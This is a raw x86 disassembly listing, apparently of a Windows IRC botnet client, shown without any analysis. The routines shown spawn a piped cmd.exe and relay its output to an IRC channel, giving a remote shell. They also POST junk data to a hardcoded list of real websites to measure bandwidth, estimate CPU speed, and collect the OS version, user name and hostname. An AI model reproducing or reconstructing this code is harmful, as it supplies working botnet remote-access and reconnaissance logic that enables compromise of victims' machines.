		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_417D40
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DCD00
		call	dword_4240E0	; WriteFile
		test	eax, eax
		jnz	short loc_41714C
		call	sub_4170E9
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_41714C:				; CODE XREF: sub_417119+28j
		xor	eax, eax
		inc	eax
		leave
		retn
sub_417119	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417151	proc near		; CODE XREF: sub_4171D8+D3p
					; sub_4171D8+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_4400B4
		push	[ebp+arg_4]
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417194
		push	7D0h
		call	dword_424078	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_4185E6
		add	esp, 10h
		jmp	short loc_4171AB
; ---------------------------------------------------------------------------


loc_417194:				; CODE XREF: sub_417151+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset dword_42F298
		push	eax
		call	sub_4185E6
		add	esp, 0Ch


loc_4171AB:				; CODE XREF: sub_417151+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_417D40
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CDF30	; send
		test	eax, eax
		jg	short loc_4171D4
		call	sub_4170E9


loc_4171D4:				; CODE XREF: sub_417151+7Cj
		xor	eax, eax
		leave
		retn
sub_417151	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4171D8	proc near		; DATA XREF: sub_41732D+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DCD08


loc_4171F0:				; CODE XREF: sub_4171D8+79j
					; sub_4171D8+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DCCFC
		call	dword_424174	; PeekNamedPipe
		test	eax, eax
		jz	loc_4172BE
		cmp	[ebp+var_4], edi
		jnz	short loc_417253
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DCCF8
		call	dword_424170	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_417249
		cmp	[ebp+var_8], 103h
		jnz	loc_4172E2


loc_417249:				; CODE XREF: sub_4171D8+62j
		push	0Ah
		call	dword_424078	; Sleep
		jmp	short loc_4171F0
; ---------------------------------------------------------------------------


loc_417253:				; CODE XREF: sub_4171D8+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_41726A


loc_41725A:				; CODE XREF: sub_4171D8+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_4172B8
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_41725A


loc_41726A:				; CODE XREF: sub_4171D8+80j
		mov	[ebp+var_4], esi


loc_41726D:				; CODE XREF: sub_4171D8+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DCCFC
		call	dword_4240E8	; ReadFile
		test	eax, eax
		jz	short loc_41730A
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DCD3C
		call	sub_417151
		add	esp, 0Ch
		jmp	loc_4171F0
; ---------------------------------------------------------------------------


loc_4172B8:				; CODE XREF: sub_4171D8+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_41726D
; ---------------------------------------------------------------------------


loc_4172BE:				; CODE XREF: sub_4171D8+45j
		push	offset unk_43CD8C
		push	ebx
		push	dword_4DCD3C
		call	sub_417151
		push	[ebp+arg_0]
		call	sub_40A446
		add	esp, 10h
		push	1
		call	dword_4240CC	; ExitThread


loc_4172E2:				; CODE XREF: sub_4171D8+6Bj
		call	sub_4170E9
		push	offset unk_43CD64
		push	ebx
		push	dword_4DCD3C
		call	sub_417151
		push	[ebp+arg_0]
		call	sub_40A446
		add	esp, 10h
		push	edi
		call	dword_4240CC	; ExitThread


loc_41730A:				; CODE XREF: sub_4171D8+C3j
		push	offset unk_43CD34
		push	ebx
		push	dword_4DCD3C
		call	sub_417151
		push	[ebp+arg_0]
		call	sub_40A446
		add	esp, 10h
		push	edi
		call	dword_4240CC	; ExitThread
sub_4171D8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41732D	proc near		; CODE XREF: sub_401AA1+2000p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_4170E9
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_4CDF98	; SearchPathA
		test	eax, eax
		jz	loc_417427
		lea	eax, [ebp+var_1C]
		mov	edi, dword_424100
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		xor	ebx, ebx
		push	eax
		lea	eax, [ebp+var_10]
		inc	ebx
		push	eax
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_417427
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_417427
		mov	edi, dword_4240FC
		push	3
		push	esi
		push	esi
		push	offset dword_4DCD00
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	dword_4240F8	; DuplicateHandle
		test	eax, eax
		jz	short loc_417427
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_4182F0
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_4182F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_4400B4
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	dword_42406C	; CreateProcessA
		test	eax, eax
		jnz	short loc_41742F


loc_417427:				; CODE XREF: sub_41732D+2Fj
					; sub_41732D+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_4174DD
; ---------------------------------------------------------------------------


loc_41742F:				; CODE XREF: sub_41732D+F8j
		push	[ebp+var_4]
		mov	edi, dword_424068
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DCCFC, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DCD04, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DCCF8, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DCD3C, eax
		jz	short loc_417469
		push	[ebp+arg_4]
		jmp	short loc_41746A
; ---------------------------------------------------------------------------


loc_417469:				; CODE XREF: sub_41732D+135j
		push	ebx


loc_41746A:				; CODE XREF: sub_41732D+13Aj
		push	offset dword_4DCD08
		call	sub_4185E6
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset dword_43CDF0
		call	sub_40A130
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_440E40[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_4171D8
		push	esi
		push	esi
		call	dword_42407C	; CreateThread
		cmp	eax, esi
		mov	dword_440E4C[edi], eax
		jnz	short loc_4174DB
		call	dword_42408C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_43CDBC
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_413F3A
		add	esp, 10h


loc_4174DB:				; CODE XREF: sub_41732D+185j
		xor	eax, eax


loc_4174DD:				; CODE XREF: sub_41732D+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41732D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4174E2	proc near		; CODE XREF: sub_4176D9+CBp
					; sub_4176D9+DDp ...

arg_0		= dword	ptr  4

		call	dword_4240A8	; GetTickCount
		push	eax
		call	sub_418638
		pop	ecx
		call	sub_418642
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_4174E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4174FC	proc near		; CODE XREF: sub_4176D9+D4p
					; sub_4176D9+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_417D40
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_4176D5
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_4182F0
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_409B6B
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_4176D5
		push	50h
		call	dword_4CDEE4	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CDF60	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_4176D5
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CDE90	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4176D5
		push	32003h
		call	sub_419D25
		mov	edi, dword_4240A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi	; GetTickCount
		push	eax
		call	sub_418638
		call	sub_418642
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_4182F0
		push	32000h
		push	esi
		push	ebx
		call	sub_4182F0
		push	ebx
		call	sub_417D40
		push	323EAh
		mov	ebx, eax
		call	sub_419D25
		push	ebx
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_4185E6
		push	[ebp+var_8]
		push	esi
		call	sub_418C20
		push	offset asc_438278 ; "\r\n"
		push	esi
		call	sub_418C20
		add	esp, 40h
		push	esi
		call	sub_417D40
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_10], ebx
		call	edi	; GetTickCount
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_417653
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_417623
; ---------------------------------------------------------------------------


loc_417620:				; CODE XREF: sub_4174FC+155j
		mov	eax, [ebp+arg_0]


loc_417623:				; CODE XREF: sub_4174FC+122j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		add	eax, esi
		cmp	ecx, ebx
		jnb	short loc_417635
		push	[ebp+var_C]
		jmp	short loc_417636
; ---------------------------------------------------------------------------


loc_417635:				; CODE XREF: sub_4174FC+132j
		push	ebx


loc_417636:				; CODE XREF: sub_4174FC+137j
		push	eax
		push	[ebp+var_4]
		call	dword_4CDF30	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4176BC
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_417620


loc_417653:				; CODE XREF: sub_4174FC+118j
		call	edi	; GetTickCount
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4246FC
		fst	[ebp+arg_0]
		fcomp	flt_4246F8
		fnstsw	ax
		test	ah, 44h
		jp	short loc_41767D
		fld1
		fstp	[ebp+arg_0]


loc_41767D:				; CODE XREF: sub_4174FC+17Aj
		push	[ebp+var_4]
		call	dword_4CDF78	; closesocket
		push	[ebp+var_8]
		call	sub_417E11
		push	esi
		call	sub_417E11
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4246F4
		fmul	flt_4246F0
		call	sub_4194F8


loc_4176B7:				; CODE XREF: sub_4174FC+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4176BC:				; CODE XREF: sub_4174FC+147j
		push	[ebp+var_4]
		call	dword_4CDF78	; closesocket
		push	[ebp+var_8]
		call	sub_417E11
		push	esi
		call	sub_417E11
		pop	ecx
		pop	ecx


loc_4176D5:				; CODE XREF: sub_4174FC+19j
					; sub_4174FC+42j ...
		xor	eax, eax
		jmp	short loc_4176B7
sub_4174FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4176D9	proc near		; CODE XREF: sub_401AA1+28CDp

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_4174E2
		push	[ebp+eax*4+var_3C]
		call	sub_4174FC
		push	8
		mov	esi, eax
		call	sub_4174E2
		push	[ebp+eax*4+var_3C]
		call	sub_4174FC
		add	esp, 10h
		test	esi, esi
		jz	short loc_4177DA
		test	eax, eax
		jz	short loc_4177D6
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_4177DC
; ---------------------------------------------------------------------------


loc_4177D6:				; CODE XREF: sub_4176D9+F4j
		mov	ebx, esi
		jmp	short loc_4177DC
; ---------------------------------------------------------------------------


loc_4177DA:				; CODE XREF: sub_4176D9+F0j
		mov	ebx, eax


loc_4177DC:				; CODE XREF: sub_4176D9+FBj
					; sub_4176D9+FFj
		push	0Ch
		call	sub_4174E2
		push	[ebp+eax*4+var_6C]
		call	sub_4174FC
		push	0Ch
		mov	edi, eax
		call	sub_4174E2
		push	[ebp+eax*4+var_6C]
		call	sub_4174FC
		add	esp, 10h
		test	edi, edi
		jz	short loc_417814
		test	eax, eax
		jz	short loc_417810
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_417816
; ---------------------------------------------------------------------------


loc_417810:				; CODE XREF: sub_4176D9+12Ej
		mov	esi, edi
		jmp	short loc_417816
; ---------------------------------------------------------------------------


loc_417814:				; CODE XREF: sub_4176D9+12Aj
		mov	esi, eax


loc_417816:				; CODE XREF: sub_4176D9+135j
					; sub_4176D9+139j
		push	6
		call	sub_4174E2
		push	[ebp+eax*4+var_1C]
		call	sub_4174FC
		push	6
		mov	edi, eax
		call	sub_4174E2
		push	[ebp+eax*4+var_1C]
		call	sub_4174FC
		add	esp, 10h
		test	edi, edi
		jz	short loc_41784E
		test	eax, eax
		jz	short loc_41784A
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_417850
; ---------------------------------------------------------------------------


loc_41784A:				; CODE XREF: sub_4176D9+168j
		mov	ecx, edi
		jmp	short loc_417850
; ---------------------------------------------------------------------------


loc_41784E:				; CODE XREF: sub_4176D9+164j
		mov	ecx, eax


loc_417850:				; CODE XREF: sub_4176D9+16Fj
					; sub_4176D9+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41785D
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_417860
; ---------------------------------------------------------------------------


loc_41785D:				; CODE XREF: sub_4176D9+17Bj
		push	2
		pop	edi


loc_417860:				; CODE XREF: sub_4176D9+182j
		test	esi, esi
		jz	short loc_417868
		add	eax, esi
		jmp	short loc_417869
; ---------------------------------------------------------------------------


loc_417868:				; CODE XREF: sub_4176D9+189j
		dec	edi


loc_417869:				; CODE XREF: sub_4176D9+18Dj
		test	ecx, ecx
		jz	short loc_417871
		add	eax, ecx
		jmp	short loc_417872
; ---------------------------------------------------------------------------


loc_417871:				; CODE XREF: sub_4176D9+192j
		dec	edi


loc_417872:				; CODE XREF: sub_4176D9+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43CE88
		push	eax
		call	sub_4185E6
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_413F3A
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4176D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4178B6	proc near		; CODE XREF: sub_401AA1+20D1p
					; sub_401AA1+2552p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4240A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_4DCD40
		push	32h
		push	esi
		call	sub_4186E0
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_4178B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_417909	proc near		; CODE XREF: sub_4179BF+290p
		push	ebx
		push	esi
		push	edi
		mov	edi, 0F4240h


loc_417911:				; CODE XREF: sub_417909+2Fj
					; sub_417909+35j
		rdtsc
		push	3E8h
		mov	ebx, edx
		mov	esi, eax
		call	dword_424078	; Sleep
		rdtsc
		sub	eax, esi
		push	0
		sbb	edx, ebx
		push	edi
		push	edx
		push	eax
		call	sub_41A090
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		ja	short loc_417911
		jb	short loc_417940
		cmp	ebx, edi
		ja	short loc_417911


loc_417940:				; CODE XREF: sub_417909+31j
		push	0
		push	64h
		push	esi
		push	ebx
		call	sub_41A100
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	edi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_4179B3
		jb	short loc_41795F
		cmp	edi, 50h
		jnb	short loc_417964


loc_41795F:				; CODE XREF: sub_417909+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_417964:				; CODE XREF: sub_417909+54j
		test	ecx, ecx
		ja	short loc_4179B3
		jb	short loc_41796F
		cmp	edi, 47h
		jnb	short loc_417974


loc_41796F:				; CODE XREF: sub_417909+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_417974:				; CODE XREF: sub_417909+64j
		test	ecx, ecx
		ja	short loc_4179B3
		jb	short loc_41797F
		cmp	edi, 37h
		jnb	short loc_417984


loc_41797F:				; CODE XREF: sub_417909+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_417984:				; CODE XREF: sub_417909+74j
		test	ecx, ecx
		ja	short loc_4179B3
		jb	short loc_41798F
		cmp	edi, 26h
		jnb	short loc_417994


loc_41798F:				; CODE XREF: sub_417909+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_417994:				; CODE XREF: sub_417909+84j
		test	ecx, ecx
		ja	short loc_4179B3
		jb	short loc_41799F
		cmp	edi, 1Eh
		jnb	short loc_4179A4


loc_41799F:				; CODE XREF: sub_417909+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_4179A4:				; CODE XREF: sub_417909+94j
		test	ecx, ecx
		ja	short loc_4179B3
		jb	short loc_4179AF
		cmp	edi, 0Ah
		jnb	short loc_4179B3


loc_4179AF:				; CODE XREF: sub_417909+9Fj
		xor	eax, eax
		xor	edx, edx


loc_4179B3:				; CODE XREF: sub_417909+4Dj
					; sub_417909+5Dj ...
		sub	eax, edi
		pop	edi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, esi
		pop	esi
		pop	ebx
		retn
sub_417909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179BF	proc near		; CODE XREF: sub_401AA1+22A3p

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_4400B4
		mov	[ebp+var_CC], 94h
		call	dword_4240C8	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_417A46
		cmp	[ebp+var_C4], ebx
		jnz	short loc_417A22
		cmp	[ebp+var_BC], 1
		jnz	short loc_417A0C
		mov	[ebp+var_4], offset a95	; "95"


loc_417A0C:				; CODE XREF: sub_4179BF+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_417AC1
		mov	[ebp+var_4], offset aNt_0 ; "NT"
		jmp	short loc_417A92
; ---------------------------------------------------------------------------


loc_417A22:				; CODE XREF: sub_4179BF+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_417A34
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_417A89
; ---------------------------------------------------------------------------


loc_417A34:				; CODE XREF: sub_4179BF+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_417A82
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_417A89
; ---------------------------------------------------------------------------


loc_417A46:				; CODE XREF: sub_4179BF+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_417A82
		cmp	[ebp+var_C4], ebx
		jnz	short loc_417A60
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_417A89
; ---------------------------------------------------------------------------


loc_417A60:				; CODE XREF: sub_4179BF+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_417A72
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_417A89
; ---------------------------------------------------------------------------


loc_417A72:				; CODE XREF: sub_4179BF+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_417A89


loc_417A82:				; CODE XREF: sub_4179BF+7Cj
					; sub_4179BF+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_417A89:				; CODE XREF: sub_4179BF+73j
					; sub_4179BF+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_417AC1


loc_417A92:				; CODE XREF: sub_4179BF+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_417AC1
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_2	; "%s (%s)"
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_417AC1:				; CODE XREF: sub_4179BF+54j
					; sub_4179BF+D1j ...
		mov	ax, word_43AF50
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CDDD4
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_417AFA
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_417AFA:				; CODE XREF: sub_4179BF+12Cj
		push	[ebp+arg_4]
		call	sub_409C7B
		pop	ecx
		push	eax
		call	dword_4CDF20	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_4CDEA0	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_417B23
		push	dword ptr [eax]
		jmp	short loc_417B28
; ---------------------------------------------------------------------------


